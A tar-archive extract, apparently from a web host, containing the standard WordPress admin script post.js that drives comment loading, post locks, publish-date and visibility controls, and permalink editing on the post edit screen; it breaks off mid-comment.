�S�C�	���g������ɽB���gx���o��{Y����c5�_H[*ȅ�P%"E�x�c�ீy�^ٚI�bS�op6{B�s쟧`�l�@��#�Jy�m��9�Lj��z�cU[��L�P�f]v:��Jy�F�Lb�i� ?9Y�,����q[O��1�::��JW����ƚ~a�X��2p�w������?z�	;�C- post.js.tar000064400000122000150276633110006653 0ustar00home/natitnen/crestassured.com/wp-admin/js/post.js000064400000116274150262602320016264 0ustar00/**
 * @file Contains all dynamic functionality needed on post and term pages.
 *
 * @output wp-admin/js/post.js
 */

 /* global ajaxurl, wpAjax, postboxes, pagenow, tinymce, alert, deleteUserSetting, ClipboardJS */
 /* global theList:true, theExtraList:true, getUserSetting, setUserSetting, commentReply, commentsBox */
 /* global WPSetThumbnailHTML, wptitlehint */

// Backward compatibility: prevent fatal errors.
window.makeSlugeditClickable = window.editPermalink = function(){};

// Make sure the wp object exists.
window.wp = window.wp || {};

( function( $ ) {
	var titleHasFocus = false,
		__ = wp.i18n.__;

	/**
	 * Control loading of comments on the post and term edit pages.
	 *
	 * @type {{st: number, get: commentsBox.get, load: commentsBox.load}}
	 *
	 * @namespace commentsBox
	 */
	window.commentsBox = {
		// Comment offset to use when fetching new comments.
		st : 0,

		/**
		 * Fetch comments using Ajax and display them in the box.
		 *
		 * @memberof commentsBox
		 *
		 * @param {number} total Total number of comments for this post.
		 * @param {number} num   Optional. Number of comments to fetch, defaults to 20.
		 * @return {boolean} Always returns false.
		 */
		get : function(total, num) {
			var st = this.st, data;
			if ( ! num )
				num = 20;

			this.st += num;
			this.total = total;
			$( '#commentsdiv .spinner' ).addClass( 'is-active' );

			data = {
				'action' : 'get-comments',
				'mode' : 'single',
				'_ajax_nonce' : $('#add_comment_nonce').val(),
				'p' : $('#post_ID').val(),
				'start' : st,
				'number' : num
			};

			$.post(
				ajaxurl,
				data,
				function(r) {
					r = wpAjax.parseAjaxResponse(r);
					$('#commentsdiv .widefat').show();
					$( '#commentsdiv .spinner' ).removeClass( 'is-active' );

					if ( 'object' == typeof r && r.responses[0] ) {
						$('#the-comment-list').append( r.responses[0].data );

						theList = theExtraList = null;
						$( 'a[className*=\':\']' ).off();

						// If the offset is over the total number of comments we cannot fetch any more, so hide the button.
						if ( commentsBox.st > commentsBox.total )
							$('#show-comments').hide();
						else
							$('#show-comments').show().children('a').text( __( 'Show more comments' ) );

						return;
					} else if ( 1 == r ) {
						$('#show-comments').text( __( 'No more comments found.' ) );
						return;
					}

					$('#the-comment-list').append('<tr><td colspan="2">'+wpAjax.broken+'</td></tr>');
				}
			);

			return false;
		},

		/**
		 * Load the next batch of comments.
		 *
		 * @memberof commentsBox
		 *
		 * @param {number} total Total number of comments to load.
		 */
		load: function(total){
			this.st = jQuery('#the-comment-list tr.comment:visible').length;
			this.get(total);
		}
	};

	/**
	 * Overwrite the content of the Featured Image postbox
	 *
	 * @param {string} html New HTML to be displayed in the content area of the postbox.
	 *
	 * @global
	 */
	window.WPSetThumbnailHTML = function(html){
		$('.inside', '#postimagediv').html(html);
	};

	/**
	 * Set the Image ID of the Featured Image
	 *
	 * @param {number} id The post_id of the image to use as Featured Image.
	 *
	 * @global
	 */
	window.WPSetThumbnailID = function(id){
		var field = $('input[value="_thumbnail_id"]', '#list-table');
		if ( field.length > 0 ) {
			$('#meta\\[' + field.attr('id').match(/[0-9]+/) + '\\]\\[value\\]').text(id);
		}
	};

	/**
	 * Remove the Featured Image
	 *
	 * @param {string} nonce Nonce to use in the request.
	 *
	 * @global
	 */
	window.WPRemoveThumbnail = function(nonce){
		$.post(
			ajaxurl, {
				action: 'set-post-thumbnail',
				post_id: $( '#post_ID' ).val(),
				thumbnail_id: -1,
				_ajax_nonce: nonce,
				cookie: encodeURIComponent( document.cookie )
			},
			/**
			 * Handle server response
			 *
			 * @param {string} str Response, will be '0' when an error occurred otherwise contains link to add Featured Image.
			 */
			function(str){
				if ( str == '0' ) {
					alert( __( 'Could not set that as the thumbnail image. Try a different attachment.' ) );
				} else {
					WPSetThumbnailHTML(str);
				}
			}
		);
	};

	/**
	 * Heartbeat locks.
	 *
	 * Used to lock editing of an object by only one user at a time.
	 *
	 * When the user does not send a heartbeat in a heartbeat-time
	 * the user is no longer editing and another user can start editing.
	 */
	$(document).on( 'heartbeat-send.refresh-lock', function( e, data ) {
		var lock = $('#active_post_lock').val(),
			post_id = $('#post_ID').val(),
			send = {};

		if ( ! post_id || ! $('#post-lock-dialog').length )
			return;

		send.post_id = post_id;

		if ( lock )
			send.lock = lock;

		data['wp-refresh-post-lock'] = send;

	}).on( 'heartbeat-tick.refresh-lock', function( e, data ) {
		// Post locks: update the lock string or show the dialog if somebody has taken over editing.
		var received, wrap, avatar;

		if ( data['wp-refresh-post-lock'] ) {
			received = data['wp-refresh-post-lock'];

			if ( received.lock_error ) {
				// Show "editing taken over" message.
				wrap = $('#post-lock-dialog');

				if ( wrap.length && ! wrap.is(':visible') ) {
					if ( wp.autosave ) {
						// Save the latest changes and disable.
						$(document).one( 'heartbeat-tick', function() {
							wp.autosave.server.suspend();
							wrap.removeClass('saving').addClass('saved');
							$(window).off( 'beforeunload.edit-post' );
						});

						wrap.addClass('saving');
						wp.autosave.server.triggerSave();
					}

					if ( received.lock_error.avatar_src ) {
						avatar = $( '<img />', {
							'class': 'avatar avatar-64 photo',
							width: 64,
							height: 64,
							alt: '',
							src: received.lock_error.avatar_src,
							srcset: received.lock_error.avatar_src_2x ?
								received.lock_error.avatar_src_2x + ' 2x' :
								undefined
						} );
						wrap.find('div.post-locked-avatar').empty().append( avatar );
					}

					wrap.show().find('.currently-editing').text( received.lock_error.text );
					wrap.find('.wp-tab-first').trigger( 'focus' );
				}
			} else if ( received.new_lock ) {
				$('#active_post_lock').val( received.new_lock );
			}
		}
	}).on( 'before-autosave.update-post-slug', function() {
		titleHasFocus = document.activeElement && document.activeElement.id === 'title';
	}).on( 'after-autosave.update-post-slug', function() {

		/*
		 * Create slug area only if not already there
		 * and the title field was not focused (user was not typing a title) when autosave ran.
		 */
		if ( ! $('#edit-slug-box > *').length && ! titleHasFocus ) {
			$.post( ajaxurl, {
					action: 'sample-permalink',
					post_id: $('#post_ID').val(),
					new_title: $('#title').val(),
					samplepermalinknonce: $('#samplepermalinknonce').val()
				},
				function( data ) {
					if ( data != '-1' ) {
						$('#edit-slug-box').html(data);
					}
				}
			);
		}
	});

}(jQuery));

/**
 * Heartbeat refresh nonces.
 */
(function($) {
	var check, timeout;

	/**
	 * Only allow to check for nonce refresh every 30 seconds.
	 */
	function schedule() {
		check = false;
		window.clearTimeout( timeout );
		timeout = window.setTimeout( function(){ check = true; }, 300000 );
	}

	$( function() {
		schedule();
	}).on( 'heartbeat-send.wp-refresh-nonces', function( e, data ) {
		var post_id,
			$authCheck = $('#wp-auth-check-wrap');

		if ( check || ( $authCheck.length && ! $authCheck.hasClass( 'hidden' ) ) ) {
			if ( ( post_id = $('#post_ID').val() ) && $('#_wpnonce').val() ) {
				data['wp-refresh-post-nonces'] = {
					post_id: post_id
				};
			}
		}
	}).on( 'heartbeat-tick.wp-refresh-nonces', function( e, data ) {
		var nonces = data['wp-refresh-post-nonces'];

		if ( nonces ) {
			schedule();

			if ( nonces.replace ) {
				$.each( nonces.replace, function( selector, value ) {
					$( '#' + selector ).val( value );
				});
			}

			if ( nonces.heartbeatNonce )
				window.heartbeatSettings.nonce = nonces.heartbeatNonce;
		}
	});
}(jQuery));

/**
 * All post and postbox controls and functionality.
 */
jQuery( function($) {
	var stamp, visibility, $submitButtons, updateVisibility, updateText,
		$textarea = $('#content'),
		$document = $(document),
		postId = $('#post_ID').val() || 0,
		$submitpost = $('#submitpost'),
		releaseLock = true,
		$postVisibilitySelect = $('#post-visibility-select'),
		$timestampdiv = $('#timestampdiv'),
		$postStatusSelect = $('#post-status-select'),
		isMac = window.navigator.platform ? window.navigator.platform.indexOf( 'Mac' ) !== -1 : false,
		copyAttachmentURLClipboard = new ClipboardJS( '.copy-attachment-url.edit-media' ),
		copyAttachmentURLSuccessTimeout,
		__ = wp.i18n.__, _x = wp.i18n._x;

	postboxes.add_postbox_toggles(pagenow);

	/*
	 * Clear the window name. Otherwise if this is a former preview window where the user navigated to edit another post,
	 * and the first post is still being edited, clicking Preview there will use this window to show the preview.
	 */
	window.name = '';

	// Post locks: contain focus inside the dialog. If the dialog is shown, focus the first item.
	$('#post-lock-dialog .notification-dialog').on( 'keydown', function(e) {
		// Don't do anything when [Tab] is pressed.
		if ( e.which != 9 )
			return;

		var target = $(e.target);

		// [Shift] + [Tab] on first tab cycles back to last tab.
		if ( target.hasClass('wp-tab-first') && e.shiftKey ) {
			$(this).find('.wp-tab-last').trigger( 'focus' );
			e.preventDefault();
		// [Tab] on last tab cycles back to first tab.
		} else if ( target.hasClass('wp-tab-last') && ! e.shiftKey ) {
			$(this).find('.wp-tab-first').trigger( 'focus' );
			e.preventDefault();
		}
	}).filter(':visible').find('.wp-tab-first').trigger( 'focus' );

	// Set the heartbeat interval to 15 seconds if post lock dialogs are enabled.
	if ( wp.heartbeat && $('#post-lock-dialog').length ) {
		wp.heartbeat.interval( 15 );
	}

	// The form is being submitted by the user.
	$submitButtons = $submitpost.find( ':submit, a.submitdelete, #post-preview' ).on( 'click.edit-post', function( event ) {
		var $button = $(this);

		if ( $button.hasClass('disabled') ) {
			event.preventDefault();
			return;
		}

		if ( $button.hasClass('submitdelete') || $button.is( '#post-preview' ) ) {
			return;
		}

		// The form submission can be blocked from JS or by using HTML 5.0 validation on some fields.
		// Run this only on an actual 'submit'.
		$('form#post').off( 'submit.edit-post' ).on( 'submit.edit-post', function( event ) {
			if ( event.isDefaultPrevented() ) {
				return;
			}

			// Stop auto save.
			if ( wp.autosave ) {
				wp.autosave.server.suspend();
			}

			if ( typeof commentReply !== 'undefined' ) {
				/*
				 * Warn the user they have an unsaved comment before submitting
				 * the post data for update.
				 */
				if ( ! commentReply.discardCommentChanges() ) {
					return false;
				}

				/*
				 * Close the comment edit/reply form if open to stop the form
				 * action from interfering with the post's form action.
				 */
				commentReply.close();
			}

			releaseLock = false;
			$(window).off( 'beforeunload.edit-post' );

			$submitButtons.addClass( 'disabled' );

			if ( $button.attr('id') === 'publish' ) {
				$submitpost.find( '#major-publishing-actions .spinner' ).addClass( 'is-active' );
			} else {
				$submitpost.find( '#minor-publishing .spinner' ).addClass( 'is-active' );
			}
		});
	});

	// Submit the form saving a draft or an autosave, and show a preview in a new tab.
	$('#post-preview').on( 'click.post-preview', function( event ) {
		var $this = $(this),
			$form = $('form#post'),
			$previewField = $('input#wp-preview'),
			target = $this.attr('target') || 'wp-preview',
			ua = navigator.userAgent.toLowerCase();

		event.preventDefault();

		if ( $this.hasClass('disabled') ) {
			return;
		}

		if ( wp.autosave ) {
			wp.autosave.server.tempBlockSave();
		}

		$previewField.val('dopreview');
		$form.attr( 'target', target ).trigger( 'submit' ).attr( 'target', '' );

		// Workaround for WebKit bug preventing a form submitting twice to the same action.
		// https://bugs.webkit.org/show_bug.cgi?id=28633
		if ( ua.indexOf('safari') !== -1 && ua.indexOf('chrome') === -1 ) {
			$form.attr( 'action', function( index, value ) {
				return value + '?t=' + ( new Date() ).getTime();
			});
		}

		$previewField.val('');
	});

	// This code is meant to allow tabbing from Title to Post content.
	$('#title').on( 'keydown.editor-focus', function( event ) {
		var editor;

		if ( event.keyCode === 9 && ! event.ctrlKey && ! event.altKey && ! event.shiftKey ) {
			editor = typeof tinymce != 'undefined' && tinymce.get('content');

			if ( editor && ! editor.isHidden() ) {
				editor.focus();
			} else if ( $textarea.length ) {
				$textarea.trigger( 'focus' );
			} else {
				return;
			}

			event.preventDefault();
		}
	});

	// Auto save new posts after a title is typed.
	if ( $( '#auto_draft' ).val() ) {
		$( '#title' ).on( 'blur', function() {
			var cancel;

			if ( ! this.value || $('#edit-slug-box > *').length ) {
				return;
			}

			// Cancel the auto save when the blur was triggered by the user submitting the form.
			$('form#post').one( 'submit', function() {
				cancel = true;
			});

			window.setTimeout( function() {
				if ( ! cancel && wp.autosave ) {
					wp.autosave.server.triggerSave();
				}
			}, 200 );
		});
	}

	$document.on( 'autosave-disable-buttons.edit-post', function() {
		$submitButtons.addClass( 'disabled' );
	}).on( 'autosave-enable-buttons.edit-post', function() {
		if ( ! wp.heartbeat || ! wp.heartbeat.hasConnectionError() ) {
			$submitButtons.removeClass( 'disabled' );
		}
	}).on( 'before-autosave.edit-post', function() {
		$( '.autosave-message' ).text( __( 'Saving Draft…' ) );
	}).on( 'after-autosave.edit-post', function( event, data ) {
		$( '.autosave-message' ).text( data.message );

		if ( $( document.body ).hasClass( 'post-new-php' ) ) {
			$( '.submitbox .submitdelete' ).show();
		}
	});

	/*
	 * When the user is trying to load another page, or reloads current page
	 * show a confirmation dialog when there are unsaved changes.
	 */
	$( window ).on( 'beforeunload.edit-post', function( event ) {
		var editor  = window.tinymce && window.tinymce.get( 'content' );
		var changed = false;

		if ( wp.autosave ) {
			changed = wp.autosave.server.postChanged();
		} else if ( editor ) {
			changed = ( ! editor.isHidden() && editor.isDirty() );
		}

		if ( changed ) {
			event.preventDefault();
			// The return string is needed for browser compat.
			// See https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event.
			return __( 'The changes you made will be lost if you navigate away from this page.' );
		}
	}).on( 'pagehide.edit-post', function( event ) {
		if ( ! releaseLock ) {
			return;
		}

		/*
		 * Unload is triggered (by hand) on removing the Thickbox iframe.
		 * Make sure we process only the main document unload.
		 */
		if ( event.target && event.target.nodeName != '#document' ) {
			return;
		}

		var postID = $('#post_ID').val();
		var postLock = $('#active_post_lock').val();

		if ( ! postID || ! postLock ) {
			return;
		}

		var data = {
			action: 'wp-remove-post-lock',
			_wpnonce: $('#_wpnonce').val(),
			post_ID: postID,
			active_post_lock: postLock
		};

		if ( window.FormData && window.navigator.sendBeacon ) {
			var formData = new window.FormData();

			$.each( data, function( key, value ) {
				formData.append( key, value );
			});

			if ( window.navigator.sendBeacon( ajaxurl, formData ) ) {
				return;
			}
		}

		// Fall back to a synchronous POST request.
		// See https://developer.mozilla.org/en-US/docs/Web/API/Navigator/sendBeacon
		$.post({
			async: false,
			data: data,
			url: ajaxurl
		});
	});

	// Multiple taxonomies.
	if ( $('#tagsdiv-post_tag').length ) {
		window.tagBox && window.tagBox.init();
	} else {
		$('.meta-box-sortables').children('div.postbox').each(function(){
			if ( this.id.indexOf('tagsdiv-') === 0 ) {
				window.tagBox && window.tagBox.init();
				return false;
			}
		});
	}

	// Handle categories.
	$('.categorydiv').each( function(){
		var this_id = $(this).attr('id'), catAddBefore, catAddAfter, taxonomyParts, taxonomy, settingName;

		taxonomyParts = this_id.split('-');
		taxonomyParts.shift();
		taxonomy = taxonomyParts.join('-');
		settingName = taxonomy + '_tab';

		if ( taxonomy == 'category' ) {
			settingName = 'cats';
		}

		// @todo Move to jQuery 1.3+, support for multiple hierarchical taxonomies, see wp-lists.js.
		$('a', '#' + taxonomy + '-tabs').on( 'click', function( e ) {
			e.preventDefault();
			var t = $(this).attr('href');
			$(this).parent().addClass('tabs').siblings('li').removeClass('tabs');
			$('#' + taxonomy + '-tabs').siblings('.tabs-panel').hide();
			$(t).show();
			if ( '#' + taxonomy + '-all' == t ) {
				deleteUserSetting( settingName );
			} else {
				setUserSetting( settingName, 'pop' );
			}
		});

		if ( getUserSetting( settingName ) )
			$('a[href="#' + taxonomy + '-pop"]', '#' + taxonomy + '-tabs').trigger( 'click' );

		// Add category button controls.
		$('#new' + taxonomy).one( 'focus', function() {
			$( this ).val( '' ).removeClass( 'form-input-tip' );
		});

		// On [Enter] submit the taxonomy.
		$('#new' + taxonomy).on( 'keypress', function(event){
			if( 13 === event.keyCode ) {
				event.preventDefault();
				$('#' + taxonomy + '-add-submit').trigger( 'click' );
			}
		});

		// After submitting a new taxonomy, re-focus the input field.
		$('#' + taxonomy + '-add-submit').on( 'click', function() {
			$('#new' + taxonomy).trigger( 'focus' );
		});

		/**
		 * Before adding a new taxonomy, disable submit button.
		 *
		 * @param {Object} s Taxonomy object which will be added.
		 *
		 * @return {Object}
		 */
		catAddBefore = function( s ) {
			if ( !$('#new'+taxonomy).val() ) {
				return false;
			}

			s.data += '&' + $( ':checked', '#'+taxonomy+'checklist' ).serialize();
			$( '#' + taxonomy + '-add-submit' ).prop( 'disabled', true );
			return s;
		};

		/**
		 * Re-enable submit button after a taxonomy has been added.
		 *
		 * Re-enable submit button.
		 * If the taxonomy has a parent place the taxonomy underneath the parent.
		 *
		 * @param {Object} r Response.
		 * @param {Object} s Taxonomy data.
		 *
		 * @return {void}
		 */
		catAddAfter = function( r, s ) {
			var sup, drop = $('#new'+taxonomy+'_parent');

			$( '#' + taxonomy + '-add-submit' ).prop( 'disabled', false );
			if ( 'undefined' != s.parsed.responses[0] && (sup = s.parsed.responses[0].supplemental.newcat_parent) ) {
				drop.before(sup);
				drop.remove();
			}
		};

		$('#' + taxonomy + 'checklist').wpList({
			alt: '',
			response: taxonomy + '-ajax-response',
			addBefore: catAddBefore,
			addAfter: catAddAfter
		});

		// Add new taxonomy button toggles input form visibility.
		$('#' + taxonomy + '-add-toggle').on( 'click', function( e ) {
			e.preventDefault();
			$('#' + taxonomy + '-adder').toggleClass( 'wp-hidden-children' );
			$('a[href="#' + taxonomy + '-all"]', '#' + taxonomy + '-tabs').trigger( 'click' );
			$('#new'+taxonomy).trigger( 'focus' );
		});

		// Sync checked items between "All {taxonomy}" and "Most used" lists.
		$('#' + taxonomy + 'checklist, #' + taxonomy + 'checklist-pop').on(
			'click',
			'li.popular-category > label input[type="checkbox"]',
			function() {
				var t = $(this), c = t.is(':checked'), id = t.val();
				if ( id && t.parents('#taxonomy-'+taxonomy).length )
					$('#in-' + taxonomy + '-' + id + ', #in-popular-' + taxonomy + '-' + id).prop( 'checked', c );
			}
		);

	}); // End cats.

	// Custom Fields postbox.
	if ( $('#postcustom').length ) {
		$( '#the-list' ).wpList( {
			/**
			 * Add current post_ID to request to fetch custom fields
			 *
			 * @ignore
			 *
			 * @param {Object} s Request object.
			 *
			 * @return {Object} Data modified with post_ID attached.
			 */
			addBefore: function( s ) {
				s.data += '&post_id=' + $('#post_ID').val();
				return s;
			},
			/**
			 * Show the listing of custom fields after fetching.
			 *
			 * @ignore
			 */
			addAfter: function() {
				$('table#list-table').show();
			}
		});
	}

	/*
	 * Publish Post box (#submitdiv)
	 */
	if ( $('#submitdiv').length ) {
		stamp = $('#timestamp').html();
		visibility = $('#post-visibility-display').html();

		/**
		 * When the visibility of a post changes sub-options should be shown or hidden.
		 *
		 * @ignore
		 *
		 * @return {void}
		 */
		updateVisibility = function() {
			// Show sticky for public posts.
			if ( $postVisibilitySelect.find('input:radio:checked').val() != 'public' ) {
				$('#sticky').prop('checked', false);
				$('#sticky-span').hide();
			} else {
				$('#sticky-span').show();
			}

			// Show password input field for password protected post.
			if ( $postVisibilitySelect.find('input:radio:checked').val() != 'password' ) {
				$('#password-span').hide();
			} else {
				$('#password-span').show();
			}
		};

		/**
		 * Make sure all labels represent the current settings.
		 *
		 * @ignore
		 *
		 * @return {boolean} False when an invalid timestamp has been selected, otherwise True.
		 */
		updateText = function() {

			if ( ! $timestampdiv.length )
				return true;

			var attemptedDate, originalDate, currentDate, publishOn, postStatus = $('#post_status'),
				optPublish = $('option[value="publish"]', postStatus), aa = $('#aa').val(),
				mm = $('#mm').val(), jj = $('#jj').val(), hh = $('#hh').val(), mn = $('#mn').val();

			attemptedDate = new Date( aa, mm - 1, jj, hh, mn );
			originalDate = new Date(
				$('#hidden_aa').val(),
				$('#hidden_mm').val() -1,
				$('#hidden_jj').val(),
				$('#hidden_hh').val(),
				$('#hidden_mn').val()
			);
			currentDate = new Date(
				$('#cur_aa').val(),
				$('#cur_mm').val() -1,
				$('#cur_jj').val(),
				$('#cur_hh').val(),
				$('#cur_mn').val()
			);

			// Catch unexpected date problems.
			if (
				attemptedDate.getFullYear() != aa ||
				(1 + attemptedDate.getMonth()) != mm ||
				attemptedDate.getDate() != jj ||
				attemptedDate.getMinutes() != mn
			) {
				$timestampdiv.find('.timestamp-wrap').addClass('form-invalid');
				return false;
			} else {
				$timestampdiv.find('.timestamp-wrap').removeClass('form-invalid');
			}

			// Determine what the publish should be depending on the date and post status.
			if ( attemptedDate > currentDate ) {
				publishOn = __( 'Schedule for:' );
				$('#publish').val( _x( 'Schedule', 'post action/button label' ) );
			} else if ( attemptedDate <= currentDate && $('#original_post_status').val() != 'publish' ) {
				publishOn = __( 'Publish on:' );
				$('#publish').val( __( 'Publish' ) );
			} else {
				publishOn = __( 'Published on:' );
				$('#publish').val( __( 'Update' ) );
			}

			// If the date is the same, set it to trigger update events.
			if ( originalDate.toUTCString() == attemptedDate.toUTCString() ) {
				// Re-set to the current value.
				$('#timestamp').html(stamp);
			} else {
				$('#timestamp').html(
					'\n' + publishOn + ' <b>' +
					// translators: 1: Month, 2: Day, 3: Year, 4: Hour, 5: Minute.
					__( '%1$s %2$s, %3$s at %4$s:%5$s' )
						.replace( '%1$s', $( 'option[value="' + mm + '"]', '#mm' ).attr( 'data-text' ) )
						.replace( '%2$s', parseInt( jj, 10 ) )
						.replace( '%3$s', aa )
						.replace( '%4$s', ( '00' + hh ).slice( -2 ) )
						.replace( '%5$s', ( '00' + mn ).slice( -2 ) ) +
						'</b> '
				);
			}

			// Add "privately published" to post status when applies.
			if ( $postVisibilitySelect.find('input:radio:checked').val() == 'private' ) {
				$('#publish').val( __( 'Update' ) );
				if ( 0 === optPublish.length ) {
					postStatus.append('<option value="publish">' + __( 'Privately Published' ) + '</option>');
				} else {
					optPublish.html( __( 'Privately Published' ) );
				}
				$('option[value="publish"]', postStatus).prop('selected', true);
				$('#misc-publishing-actions .edit-post-status').hide();
			} else {
				if ( $('#original_post_status').val() == 'future' || $('#original_post_status').val() == 'draft' ) {
					if ( optPublish.length ) {
						optPublish.remove();
						postStatus.val($('#hidden_post_status').val());
					}
				} else {
					optPublish.html( __( 'Published' ) );
				}
				if ( postStatus.is(':hidden') )
					$('#misc-publishing-actions .edit-post-status').show();
			}

			// Update "Status:" to currently selected status.
			$('#post-status-display').text(
				// Remove any potential tags from post status text.
				wp.sanitize.stripTagsAndEncodeText( $('option:selected', postStatus).text() )
			);

			// Show or hide the "Save Draft" button.
			if (
				$('option:selected', postStatus).val() == 'private' ||
				$('option:selected', postStatus).val() == 'publish'
			) {
				$('#save-post').hide();
			} else {
				$('#save-post').show();
				if ( $('option:selected', postStatus).val() == 'pending' ) {
					$('#save-post').show().val( __( 'Save as Pending' ) );
				} else {
					$('#save-post').show().val( __( 'Save Draft' ) );
				}
			}
			return true;
		};

		// Show the visibility options and hide the toggle button when opened.
		$( '#visibility .edit-visibility').on( 'click', function( e ) {
			e.preventDefault();
			if ( $postVisibilitySelect.is(':hidden') ) {
				updateVisibility();
				$postVisibilitySelect.slideDown( 'fast', function() {
					$postVisibilitySelect.find( 'input[type="radio"]' ).first().trigger( 'focus' );
				} );
				$(this).hide();
			}
		});

		// Cancel visibility selection area and hide it from view.
		$postVisibilitySelect.find('.cancel-post-visibility').on( 'click', function( event ) {
			$postVisibilitySelect.slideUp('fast');
			$('#visibility-radio-' + $('#hidden-post-visibility').val()).prop('checked', true);
			$('#post_password').val($('#hidden-post-password').val());
			$('#sticky').prop('checked', $('#hidden-post-sticky').prop('checked'));
			$('#post-visibility-display').html(visibility);
			$('#visibility .edit-visibility').show().trigger( 'focus' );
			updateText();
			event.preventDefault();
		});

		// Set the selected visibility as current.
		$postVisibilitySelect.find('.save-post-visibility').on( 'click', function( event ) { // Crazyhorse - multiple OK cancels.
			var visibilityLabel = '', selectedVisibility = $postVisibilitySelect.find('input:radio:checked').val();

			$postVisibilitySelect.slideUp('fast');
			$('#visibility .edit-visibility').show().trigger( 'focus' );
			updateText();

			if ( 'public' !== selectedVisibility ) {
				$('#sticky').prop('checked', false);
			}

			switch ( selectedVisibility ) {
				case 'public':
					visibilityLabel = $( '#sticky' ).prop( 'checked' ) ? __( 'Public, Sticky' ) : __( 'Public' );
					break;
				case 'private':
					visibilityLabel = __( 'Private' );
					break;
				case 'password':
					visibilityLabel = __( 'Password Protected' );
					break;
			}

			$('#post-visibility-display').text( visibilityLabel );
			event.preventDefault();
		});

		// When the selection changes, update labels.
		$postVisibilitySelect.find('input:radio').on( 'change', function() {
			updateVisibility();
		});

		// Edit publish time click.
		$timestampdiv.siblings('a.edit-timestamp').on( 'click', function( event ) {
			if ( $timestampdiv.is( ':hidden' ) ) {
				$timestampdiv.slideDown( 'fast', function() {
					$( 'input, select', $timestampdiv.find( '.timestamp-wrap' ) ).first().trigger( 'focus' );
				} );
				$(this).hide();
			}
			event.preventDefault();
		});

		// Cancel editing the publish time and hide the settings.
		$timestampdiv.find('.cancel-timestamp').on( 'click', function( event ) {
			$timestampdiv.slideUp('fast').siblings('a.edit-timestamp').show().trigger( 'focus' );
			$('#mm').val($('#hidden_mm').val());
			$('#jj').val($('#hidden_jj').val());
			$('#aa').val($('#hidden_aa').val());
			$('#hh').val($('#hidden_hh').val());
			$('#mn').val($('#hidden_mn').val());
			updateText();
			event.preventDefault();
		});

		// Save the changed timestamp.
		$timestampdiv.find('.save-timestamp').on( 'click', function( event ) { // Crazyhorse - multiple OK cancels.
			if ( updateText() ) {
				$timestampdiv.slideUp('fast');
				$timestampdiv.siblings('a.edit-timestamp').show().trigger( 'focus' );
			}
			event.preventDefault();
		});

		// Cancel submit when an invalid timestamp has been selected.
		$('#post').on( 'submit', function( event ) {
			if ( ! updateText() ) {
				event.preventDefault();
				$timestampdiv.show();

				if ( wp.autosave ) {
					wp.autosave.enableButtons();
				}

				$( '#publishing-action .spinner' ).removeClass( 'is-active' );
			}
		});

		// Post Status edit click.
		$postStatusSelect.siblings('a.edit-post-status').on( 'click', function( event ) {
			if ( $postStatusSelect.is( ':hidden' ) ) {
				$postStatusSelect.slideDown( 'fast', function() {
					$postStatusSelect.find('select').trigger( 'focus' );
				} );
				$(this).hide();
			}
			event.preventDefault();
		});

		// Save the Post Status changes and hide the options.
		$postStatusSelect.find('.save-post-status').on( 'click', function( event ) {
			$postStatusSelect.slideUp( 'fast' ).siblings( 'a.edit-post-status' ).show().trigger( 'focus' );
			updateText();
			event.preventDefault();
		});

		// Cancel Post Status editing and hide the options.
		$postStatusSelect.find('.cancel-post-status').on( 'click', function( event ) {
			$postStatusSelect.slideUp( 'fast' ).siblings( 'a.edit-post-status' ).show().trigger( 'focus' );
			$('#post_status').val( $('#hidden_post_status').val() );
			updateText();
			event.preventDefault();
		});
	}

	/**
	 * Handle the editing of the post_name. Create the required HTML elements and
	 * update the changes via Ajax.
	 *
	 * @global
	 *
	 * @return {void}
	 */
	function editPermalink() {
		var i, slug_value, slug_label,
			$el, revert_e,
			c = 0,
			real_slug = $('#post_name'),
			revert_slug = real_slug.val(),
			permalink = $( '#sample-permalink' ),
			permalinkOrig = permalink.html(),
			permalinkInner = $( '#sample-permalink a' ).html(),
			buttons = $('#edit-slug-buttons'),
			buttonsOrig = buttons.html(),
			full = $('#editable-post-name-full');

		// Deal with Twemoji in the post-name.
		full.find( 'img' ).replaceWith( function() { return this.alt; } );
		full = full.html();

		permalink.html( permalinkInner );

		// Save current content to revert to when cancelling.
		$el = $( '#editable-post-name' );
		revert_e = $el.html();

		buttons.html(
			'<button type="button" class="save button button-small">' + __( 'OK' ) + '</button> ' +
			'<button type="button" class="cancel button-link">' + __( 'Cancel' ) + '</button>'
		);

		// Save permalink changes.
		buttons.children( '.save' ).on( 'click', function() {
			var new_slug = $el.children( 'input' ).val();

			if ( new_slug == $('#editable-post-name-full').text() ) {
				buttons.children('.cancel').trigger( 'click' );
				return;
			}

			$.post(
				ajaxurl,
				{
					action: 'sample-permalink',
					post_id: postId,
					new_slug: new_slug,
					new_title: $('#title').val(),
					samplepermalinknonce: $('#samplepermalinknonce').val()
				},
				function(data) {
					var box = $('#edit-slug-box');
					box.html(data);
					if (box.hasClass('hidden')) {
						box.fadeIn('fast', function () {
							box.removeClass('hidden');
						});
					}

					buttons.html(buttonsOrig);
					permalink.html(permalinkOrig);
					real_slug.val(new_slug);
					$( '.edit-slug' ).trigger( 'focus' );
					wp.a11y.speak( __( 'Permalink saved' ) );
				}
			);
		});

		// Cancel editing of permalink.
		buttons.children( '.cancel' ).on( 'click', function() {
			$('#view-post-btn').show();
			$el.html(revert_e);
			buttons.html(buttonsOrig);
			permalink.html(permalinkOrig);
			real_slug.val(revert_slug);
			$( '.edit-slug' ).trigger( 'focus' );
		});

		// If more than 1/4th of 'full' is '%', make it empty.
		for ( i = 0; i < full.length; ++i ) {
			if ( '%' == full.charAt(i) )
				c++;
		}
		slug_value = ( c > full.length / 4 ) ? '' : full;
		slug_label = __( 'URL Slug' );

		$el.html(
			'<label for="new-post-slug" class="screen-reader-text">' + slug_label + '</label>' +
			'<input type="text" id="new-post-slug" value="' + slug_value + '" autocomplete="off" spellcheck="false" />'
		).children( 'input' ).on( 'keydown', function( e ) {
			var key = e.which;
			// On [Enter], just save the new slug, don't save the post.
			if ( 13 === key ) {
				e.preventDefault();
				buttons.children( '.save' ).trigger( 'click' );
			}
			// On [Esc] cancel the editing.
			if ( 27 === key ) {
				buttons.children( '.cancel' ).trigger( 'click' );
			}
		} ).on( 'keyup', function() {
			real_slug.val( this.value );
		}).trigger( 'focus' );
	}

	$( '#titlediv' ).on( 'click', '.edit-slug', function() {
		editPermalink();
	});

	/**
	 * Adds screen reader text to the title label when needed.
	 *
	 * Use the 'screen-reader-text' class to emulate a placeholder attribute
	 * and hide the label when entering a value.
	 *
	 * @param {string} id Optional. HTML ID to add the screen reader helper text to.
	 *
	 * @global
	 *
	 * @return {void}
	 */
